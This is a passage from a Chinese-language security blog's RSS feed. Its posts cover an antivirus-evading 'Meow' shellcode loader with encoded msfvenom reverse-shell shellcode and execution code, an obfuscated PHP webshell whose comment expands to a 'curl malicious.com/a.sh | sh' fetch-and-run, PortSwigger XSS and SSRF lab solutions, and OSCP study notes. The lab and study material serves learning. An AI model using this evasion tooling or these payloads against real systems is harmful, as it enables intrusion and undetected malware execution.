&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$_SESSION&lt;/span&gt;[&lt;span style="color:#f1fa8c"&gt;&amp;#39;staffsfsn&amp;#39;&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;因此只需要透過帳號 &lt;code&gt;leyan&lt;/code&gt; 以及密碼 &lt;code&gt;0429&lt;/code&gt; 就能登入所有的系統&lt;/p&gt;</description></item><item><title>Meow Ware Loader - A Windows Shellcode Loader with Meow meow</title><link>http://blog.stevenyu.tw/2022/02/28/meow-ware-loader/</link><pubDate>Mon, 28 Feb 2022 13:02:57 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/28/meow-ware-loader/</guid><description>&lt;p&gt;一款會把 Shell Code 給轉成 meow meow 的 Shell Code 載入器。程式碼使用方式等請參考下方 GitHub 連結。&lt;/p&gt;
&lt;p&gt;GitHub : &lt;a href="https://github.com/stevenyu113228/Meow-Ware-Loader"&gt;https://github.com/stevenyu113228/Meow-Ware-Loader&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;現在，有許多的防毒軟體都會透過惡意程式碼的特徵 (例如 YARA RULE) 來進行捕捉，因此部分惡意程式會透過 Shell Code 形式，在執行時間再注入到記憶體中，透過這種方式來規避查緝。&lt;/p&gt;
&lt;p&gt;不過現在也有許多防毒軟體開始支援掃描非執行檔的 Shell Code 程式，因此可以透過把 Shell Code 進行編碼，以規避查緝，並透過 Loader 來進行載入執行。&lt;/p&gt;
&lt;p&gt;其實這個構想是我前天晚上睡到一半想到的，剛好想到說 Encode 通常大家都愛用什麼 Base64、ROT13 這類現有的編碼方式，而防毒軟體在已知的狀況下很有可能也可以進行自動解碼，因此我想到了自創的 Meow Encode 法。&lt;/p&gt;
&lt;h2 id="meow-encode-method"&gt;Meow Encode Method&lt;/h2&gt;
&lt;p&gt;我們知道 Meow 總共有 4 個英文字母，而如果考量到小大寫的話，總共有 2^4 = 16 種組合。我們也可以直接把大小寫當作二進位來看，小寫是 0 、 大寫是 1。因此對照表如下&lt;/p&gt;
&lt;p&gt;MeowBinaryDecimalHexadecimalmeow000000meoW000111meOw001022meOW001133mEow010044mEoW010155mEOw011066mEOW011177Meow100088MeoW100199MeOw101010aMeOW101111bMEow110012cMEoW110113dMEOw111014eMEOW111115f&lt;/p&gt;
&lt;p&gt;因此，編碼後的 Shell Code 會長的類似這個樣子，下面為 msfvenom 的 &lt;code&gt;shell_reverse_tcp&lt;/code&gt; 範例&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MEOWMEowMEOwMeowMeowmeOwmeowmeowmeowmeowmeowmeowmEOwmeowMeowMeoWMEOwmEoWmeOWmeoWMEowmeowmEOwmEowMeowMeOWmEoWmeowmeOWmeowMeowMeOWmEoWmeOwmeowMEowMeowMeOWmEoWmeOwmeoWmEowMeowMeOWmEOWmeOwmeOwMeowmeowMEOWMeOWmEOWmEowMeOwmeOwmEOwmeOWmeoWMEOWMEOWMeOwMEowmeOWMEowmEOwmeoWmEOWMEowmeowmeOwmeOwMEowmeOwmeowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWMEOwmeOwMEOWmeOwmEoWmeOwmEoWmEOWMeowMeOWmEoWmeOwmeoWmeowMeowMeOWmEowMeOwmeOWMEowMeowMeOWmEowMEowmeoWmeoWmEOWMeowMEOwmeOWmEowMeowmeowmeoWMEoWmeoWmEoWmeoWMeowMeOWmEoWMeoWmeOwmeowmeowmeoWMEoWmeOWMeowMeOWmEowMeoWmeoWMeowMEOwmeOWmeOWMeOwmEowMeoWMeowMeOWmeOWmEowMeowMeOWmeowmeoWMEoWmEOwmeOWmeoWMEOWMEOWMeOwMEowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWmeOWMeowMEOwmeowmEOWmEoWMEOWmEOwmeowmeOWmEOWMEoWMEOWMeowmeOWMeOWmEOWMEoWmeOwmEowmEOWmEoWMEOwmEowmEoWMeowMeowMeOWmEoWMeowmeOwmEowmeowmeoWMEoWmeOWmEOwmEOwMeowMeOWmeowMEowmEowMeOWMeowMeOWmEoWMeowmeoWMEowmeowmeoWMEoWmeOWMeowMeOWmeowmEowMeowMeOWmeowmeoWMEoWmeowMeowMeoWmEowmEowmeOwmEowmeOwmEowmEoWMeOWmEoWMeOWmEOwmeoWmEoWMeoWmEoWMeOwmEoWmeoWMEOWMEOWMEOwmeowmEoWMEOWmEoWMEOWmEoWMeOwMeowMeOWmeoWmeOwMEOwMeOWMeowMEoWmEoWMEoWmEOwMeowmeOWmeOWmeOWmeOwmeowmeowmeowmeowmEOwMeowmEOWmEOWmEOWmeOWmeOWmeOwmEoWMEOWmEoWmEowmEOwMeowmEowMEowmEOWmEOWmeOwmEOwmeowmEOWMEOWMEOWMEoWmEoWMeOWMeowMeoWmeowmeowmeoWmeowmeowmeowmeowmeOwMeoWMEowmEowmEoWmEowmEoWmeowmEOwMeowmeOwMeoWMeowmeowmEOwMeOWmeowmeowMEOWMEOWMEoWmEoWmEoWmeowmEoWmeowmEoWmeowmEoWmeowmEowmeowmEoWmeowmEowmeowmEoWmeowmEOwMeowMEOwMeOwmeowMEOWMEoWMEOWMEOwmeowMEOWMEOWMEoWmEoWMeoWmEOWmEOwMeOwmeowmEoWmEOwMeowMEowmeowMeOwMeowmeOwMeowMeowmeoWmEOwMeowmeowmeOwmeowmeowmeOwmEowMEOwMEoWMeowMeoWMEOwmEOwmEOwMeOwmeoWmeowmEoWmEOwmEoWmEOWmEOwMeowMeoWMeoWMeOwmEoWmEOWmEowmEOwmeoWMEOWMEOWMEoWmEoWMeowmEoWMEowmeowmEOWmEowmeowMEowMEOWMEOWmEowMEOwmeowMeowmEOWmEoWMEOwMEowmEOwMeowMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwMEOWMEOWMEoWmEoWmEOwMeowmEOwmeOWmEOwMEoWmEOwmEowmeowmeowMeowMeoWMEOwmeOWmEoWmEOWmEoWmEOWmEoWmEOWmeOWmeoWMEOWmEOwmEOwMeOwmeoWmeOwmEoWMeoWmEoWmEOwMEOwmeOwMEOWMEoWmEOwmEOwMEowmEOWmEowmEowmeOwmEowmeOWMEowmeowmeoWmeowmeoWMeowMEoWmEowmEowmeOwmEowmeoWmeowMEowmEOwmeowmeowmEowmEowmEoWmEowmEoWmeowmEoWmEOwmEoWmEOwmEoWmEOwmEowmEOwmEoWmEOwmEowMEOwmEoWmEOwmEoWmEOwmEoWmeOWmEoWmEOwmEOwMeowmEOWMeoWMEowMEowmeOWMEOWMeowmEOwMEOWMEOWMEoWmEoWMeowMeoWMEOwmeowmEowMEOwmEoWmEOwmEowmEOwMEOWMEOWmeOWmeowmEOwMeowmeowMeowMeowmEOWmeoWMEoWmEOwmeowMEOWMEOWMEoWmEoWMeOWMeOWMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwmEOwMeowMeOwmEOwMeoWmEoWMeOWMEoWMeoWMEoWMEOWMEOWMEoWmEoWmeOWMEowmeowmEOwmEOWMEowmeowMeOwMeowmeowMEOWMeOWMEOwmeowmEOWmEoWmeowmEoWMeOWMeOWmEowmEOWmeoWmeOWmEOWmeOwmEOwMEOWmEOwMeOwmeowmeowmEoWmeOWMEOWMEOWMEoWm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="shell-code-loader"&gt;Shell Code Loader&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd"&gt;void&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;exec &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; VirtualAlloc(&lt;span style="color:#bd93f9"&gt;0&lt;/span&gt;, memory_allocation, MEM_RESERVE &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; MEM_COMMIT, PAGE_READWRITE);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;memcpy(exec, shellcode, memory_allocation);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &lt;span style="color:#ff79c6"&gt;&amp;amp;&lt;/span&gt;ignore);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(&lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;(&lt;span style="color:#8be9fd"&gt;void&lt;/span&gt; (&lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;)()) exec)();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;這邊我&lt;del&gt;參考&lt;/del&gt;抄了 &lt;a href="https://github.com/DimopoulosElias"&gt;DimopoulosElias&lt;/a&gt; 大大寫的 &lt;a href="https://github.com/DimopoulosElias/SimpleShellcodeInjector"&gt;SimpleShellcodeInjector&lt;/a&gt; 程式碼，其中重點是下面這幾行&lt;/p&gt;</description></item><item><title>Cross-site scripting (XSS) (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/26/cross-site-scripting-xss-portswigger-writeup/</link><pubDate>Sat, 26 Feb 2022 22:55:19 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/26/cross-site-scripting-xss-portswigger-writeup/</guid><description>&lt;p&gt;我覺得 XSS 的題目都有一點通，還有一點無聊 QQ&lt;/p&gt;
&lt;h2 id="lab-reflected-xss-into-html-context-with-nothing-encoded"&gt;&lt;a href="https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded"&gt;Lab: Reflected XSS into HTML context with nothing encoded&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.&lt;/p&gt;
&lt;p&gt;To solve the lab, perform a cross-site scripting attack that calls the alert function.&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;在搜尋功能的反射性 XSS&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;p&gt;在搜尋上面打&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alert(1)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="lab-stored-xss-into-html-context-with-nothing-encoded"&gt;&lt;a href="https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded"&gt;Lab: Stored XSS into HTML context with nothing encoded&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述-1"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab contains a stored cross-site scripting vulnerability in the comment functionality.&lt;/p&gt;
&lt;p&gt;To solve this lab, submit a comment that calls the alert function when the blog post is viewed.&lt;/p&gt;</description></item><item><title>OSCP ㄉ一些心路歷程</title><link>http://blog.stevenyu.tw/2022/02/22/oscp-%E3%84%89%E4%B8%80%E4%BA%9B%E5%BF%83%E8%B7%AF%E6%AD%B7%E7%A8%8B/</link><pubDate>Tue, 22 Feb 2022 22:41:57 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/22/oscp-%E3%84%89%E4%B8%80%E4%BA%9B%E5%BF%83%E8%B7%AF%E6%AD%B7%E7%A8%8B/</guid><description>&lt;p&gt;距離考過 OSCP 已經 2 個月了，終於比較空下來可以寫一下關於心得的文章~~，再不寫也要開始忘ㄌ~~，最近時常也有許多的朋友們來問一些準備訣竅等等的問題，為了避免常常被私訊問 + 回答一樣的問題，所以打算來寫一篇文，&lt;del&gt;之後遇到一樣或類似的問題就直接貼這篇給他們看就好&lt;/del&gt;。&lt;/p&gt;
&lt;h2 id="報名前的準備"&gt;報名前的準備&lt;/h2&gt;
&lt;p&gt;在考 OSCP 前，我有一定的 Web CTF 經驗，但其實我的 Web 技術也不算是太好，大概就 AIS3 Pre-exam 勉強可以進去，或是金盾獎可以吊車尾的得名左右的程度，我覺得單純論 Web 的難度而言，對應上 CTF，這樣的程度就已經綽綽有餘了。 在 OSCP 的考試中，除了 Web 的技術之外，基本上用不到 Reverse 的技術，除了其中一題的 Lab 之外。而 Crypto 的技術基本上也用不到太多，只要會用工具，例如使用 &lt;a href="https://gchq.github.io/CyberChef/"&gt;CyberChef&lt;/a&gt; 做一些編碼、解碼、加解密就夠了。我覺得打滲透比起 CTF，最大的差異應該是思路，要先試著找出伺服器的特徵，尋找已知的 1-Day，千萬不要埋頭苦幹，100% 自己打洞，現實生活中的滲透也是如此。&lt;/p&gt;
&lt;p&gt;之所以會想在這個時間點考 OSCP 主要就是因為在開始寫認真論文前，剛好有一個空檔的感覺，實驗室在做的計劃，學弟妹也都開始可以順利接棒，這段時間剛好可以來學一些有趣的東西。&lt;/p&gt;
&lt;h3 id="各種便宜ㄉ練習機"&gt;各種便宜ㄉ練習機&lt;/h3&gt;
&lt;p&gt;因為 OSCP 的 LAB 跟考試真的貴鬆鬆 QQ，所以滿多人會使用一些第三方的靶機、LAB 來提前作一些練習，我在暑假的兩個月多月中，主要打了一些 Try Hack Me (THM)、 Hack The Box (HTB) 的靶機，其中， THM 約打了三十幾台，感謝飛飛借我付費版的帳號 &amp;gt;序號題目名稱日期備註1Dotty2021-10-09第一台2Alpha2021-10-15LP13Alice2021-10-15LP34Beta2021-10-16LP25Disco2021-10-16LP46Susie2021-10-16LP57Hotline2021-10-16LP68Break2021-10-179Core2021-10-1710Sufferance2021-10-18魔王題11Gh0st2021-10-18小魔王(?12Pain2021-10-19舊魔王13JEFF2021-10-1914Phoenix2021-10-1915Sean2021-10-20LP1016Mailman2021-10-2017ralph2021-10-2118Chris2021-10-21LP719MIKE2021-10-2220Leftturn2021-10-2221Mail2021-10-2422Jd2021-10-2523Bethany2021-10-26LP1124XOR-App592021-10-2625XOR-App232021-10-2726Tophat2021-10-2727SVclient082021-10-2828Humble2021-10-28魔王29Timeclock2021-10-3030Kraken2021-10-3031FC42021-10-3032DJ2021-10-31331nsider2021-10-3134Gamma2021-11-0135Bruce2021-11-0236Bob2021-11-0237Shared2021-11-13IT38Freddy2021-11-13IT39Chimera2021-11-14IT40Mvua0072021-11-14IT41Thelongnight2021-11-15IT42Tablemanners2021-11-15IT43Luigi2021-11-16Admin44Mario2021-11-16Admin45Jack2021-11-17Admin46Tricia2021-11-17Admin47Harry2021-11-17Admin48Ekzameno2021-11-17Admin49Kaitlyn2021-11-18Admin50Manager2021-11-18Dev51John2021-11-18Dev52Adam2021-11-18Dev533141592652021-11-1954Defender2021-11-1955Cory2021-11-1956Master2021-11-1957Nina2021-11-20IT58Carrie2021-11-20IT59Nicky2021-11-21IT60Brett2021-11-21IT61James2021-11-21Dev62Carol2021-11-21Dev63Peter2021-11-2164Pedro2021-11-2265Maria2021-11-2466SV-File012021-11-2567SVClient732021-11-2568SV-DC012021-11-2569XOR-App072021-11-2570XOR-DC012021-11-2571Ajla2021-12-1Sandbox72Zora2021-12-1Sandbox73Poultry2021-12-1Sandbox74Cevapi2021-12-1Sandbox75SandboxDC2021-12-1Sandbox&lt;/p&gt;
&lt;h2 id="預約考試"&gt;預約考試&lt;/h2&gt;
&lt;p&gt;很快的，時間就到了快要考試的時候，真心建議大家要在考試前至少兩周，或更早就申請考試時間，我在 Lab 快要結束的時候 (11月底)，報名了考試，當時就只能預約到 1 月初的考試時間，因此我就預約了 1/12 的考試。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/%E5%9C%96%E7%89%87-8-1024x400.png"&gt;&lt;/p&gt;</description></item><item><title>Wordle Spoiler Bot</title><link>http://blog.stevenyu.tw/2022/02/16/wordle-spoiler-bot/</link><pubDate>Wed, 16 Feb 2022 20:39:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/16/wordle-spoiler-bot/</guid><description>&lt;p&gt;GitHub : &lt;a href="https://github.com/stevenyu113228/Wordle-Spoiler-Bot"&gt;https://github.com/stevenyu113228/Wordle-Spoiler-Bot&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;感覺 Wordle 也紅一陣子了，但我覺得最近的題目都好難，都解不出來 QQ，一氣之下就寫了一個 Telegram 的腳本來自動地告訴我當天的答案。&lt;/p&gt;
&lt;h2 id="原始碼分析"&gt;原始碼分析&lt;/h2&gt;
&lt;p&gt;觀察 &lt;a href="https://www.nytimes.com/games/wordle/index.html"&gt;https://www.nytimes.com/games/wordle/index.html&lt;/a&gt; 首頁的原始碼，可以看到一個重點的 JavaScript，main.bfba912f.js (後面的 Hash 可能會變)&lt;/p&gt;
&lt;p&gt;按下去後會取得一大串壓縮後的 JS，可以先把它送到 JS Beautifier 上面，就能看到大量的解答ㄌ，題目是每天照順序取一個出來。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/03/%E6%88%AA%E5%9C%96-2022-03-02-%E4%B8%8B%E5%8D%888.29.52-1024x640.png"&gt;&lt;/p&gt;
&lt;p&gt;理論上我們可以把這個 List 取出來之後，透過計算 Offset 的方法就能取得當天以及未來的答案。&lt;/p&gt;
&lt;p&gt;但這樣的問題是，如果 Wordle 未來修改了原始碼，可能就會預測失敗 QQ。&lt;/p&gt;
&lt;p&gt;因此我的解法是大致的看完原始碼後，發現他會呼叫一個 Class 跟他的 Function&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;new&lt;/span&gt; wordle.bundle.GameApp()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;這個產出的 Object 中，有一個屬性叫做 &lt;code&gt;solution&lt;/code&gt; 即為答案。&lt;/p&gt;
&lt;p&gt;所以我們可以在 F12 中輸入下列指令取得答案&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(&lt;span style="color:#ff79c6"&gt;new&lt;/span&gt; wordle.bundle.GameApp()).solution
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;接下來再把這個功能給用 Selenium 包起來，透過 Selenium 可以執行 js 的特性來取得答案&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;driver&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;execute_script(&lt;span style="color:#f1fa8c"&gt;&amp;#34;return (new wordle.bundle.GameApp()).solution&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最後調整時區、套上 Telegram 的 API 、 包成 Docker 就大功告成了！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/03/%E6%88%AA%E5%9C%96-2022-03-02-%E4%B8%8B%E5%8D%888.40.23-652x1024.png"&gt;&lt;/p&gt;</description></item><item><title>簡單 PHP Webshell 免殺</title><link>http://blog.stevenyu.tw/2022/02/15/%E7%B0%A1%E5%96%AE-php-webshell-%E5%85%8D%E6%AE%BA/</link><pubDate>Tue, 15 Feb 2022 14:31:48 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/15/%E7%B0%A1%E5%96%AE-php-webshell-%E5%85%8D%E6%AE%BA/</guid><description>&lt;p&gt;原本想隨便寫一個 Webshell 測試使用，但一下就被 Defender 吃掉了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;str_ro&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;// &amp;#34;str_ro&amp;#34;.&amp;#34;t13&amp;#34; =&amp;gt; &amp;#34;str_rot13&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;// (&amp;#34;system&amp;#34;)((&amp;#34;str_rot13&amp;#34;)($e)) =&amp;gt; system(str_rot13($e))
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;// system(str_rot13($e)) =&amp;gt; system(&amp;#34;curl malicious.com/a.sh | sh&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在 &lt;a href="https://www.virustotal.com/gui/file/6b09534b9965b665df60d91a634a6697a2a94484d7ab69d21eeb27047fc8bc95?nocache=1"&gt;VirusTotal &lt;/a&gt;上竟然 All pass ㄏ&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/%E5%9C%96%E7%89%87.png"&gt;&lt;/p&gt;</description></item><item><title>PHP Linux Extensions Hello World</title><link>http://blog.stevenyu.tw/2022/02/14/php-linux-extensions-hello-world/</link><pubDate>Mon, 14 Feb 2022 22:34:56 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/14/php-linux-extensions-hello-world/</guid><description>&lt;p&gt;要做這個主要是碩論的研究跟 RASP 有一點點關係，而 PHP RASP 需要透過 PHP Extenstions 來進行編譯以及使用，所以本文主要會記錄一些基本的 PHP Extenstions 的撰寫以及開發方式。&lt;/p&gt;
&lt;p&gt;本文會需要使用到的環境&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;任意 Linux 或 WSL 搭配 Docker&lt;/li&gt;
&lt;li&gt;Docker Ubuntu 20.04&lt;/li&gt;
&lt;li&gt;PHP 7.3.33 Source Code&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="環境建置"&gt;環境建置&lt;/h4&gt;
&lt;p&gt;在安裝好 Ddocer 後，理論上一鍵就可以建置好乾淨的 Ubuntu 20.04 docker，理論上-v 的部分可以自己修改掛載點&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo docker run -it -v /home/steven/compile-rasp/mount_point:/mount_point ubuntu:20.04
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;接下來可以安裝一些之後可能會用到的小工具&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;apt install wget unzip software-properties-common -y
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;apt-add-repository ppa:ondrej/php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;apt install php7.3-dev -y
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;途中 software-properties-common 的安裝過程可能會跳出一些東西，就照著回答就好了。&lt;/p&gt;
&lt;p&gt;接下來下載 php 相關的程式碼&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;cd&lt;/span&gt; mount_point
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://www.php.net/distributions/php-7.3.33.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar zxvf php-7.3.33.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod -R &lt;span style="color:#bd93f9"&gt;777&lt;/span&gt; * &lt;span style="color:#6272a4"&gt;# 因為我在 Docker 外使用 Mount，這樣處理權限比較簡單&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="建立第一個-extension"&gt;建立第一個 Extension&lt;/h4&gt;
&lt;p&gt;要寫 Extenstion，第一件事情是需要先建立一個 Extension，在原始碼路徑中 &lt;code&gt;php-7.3.33/ext&lt;/code&gt; 中，有一個名為 &lt;code&gt;ext_skel.php&lt;/code&gt; 的檔案，skel 是 skeleton (骨架) 的縮寫，也就是讓我們建立一個軀殼。&lt;/p&gt;</description></item><item><title>Server-side request forgery (SSRF) (PortSwigger Writeup)</title><link>http://blog.stevenyu.tw/2022/02/14/server-side-request-forgery-ssrf/</link><pubDate>Mon, 14 Feb 2022 19:30:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/02/14/server-side-request-forgery-ssrf/</guid><description>&lt;h2 id="lab-basic-ssrf-against-the-local-server"&gt;&lt;a href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost"&gt;Lab: Basic SSRF against the local server&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="題目敘述"&gt;題目敘述&lt;/h3&gt;
&lt;p&gt;This lab has a stock check feature which fetches data from an internal system.&lt;/p&gt;
&lt;p&gt;To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.&lt;/p&gt;
&lt;h3 id="題目解釋"&gt;題目解釋&lt;/h3&gt;
&lt;p&gt;任意發 HTTP GET Request&lt;/p&gt;
&lt;h3 id="解答"&gt;解答&lt;/h3&gt;
&lt;p&gt;觀察 Stock check 的 API 發現他會去戳&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;改送&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http%3a%2f%2flocalhost%2fadmin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;發現就能看到 admin 介面&lt;/p&gt;
&lt;p&gt;再送&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http%3A%2F%2Flocalhost%2Fadmin%2Fdelete%3Fusername%3Dcarlos
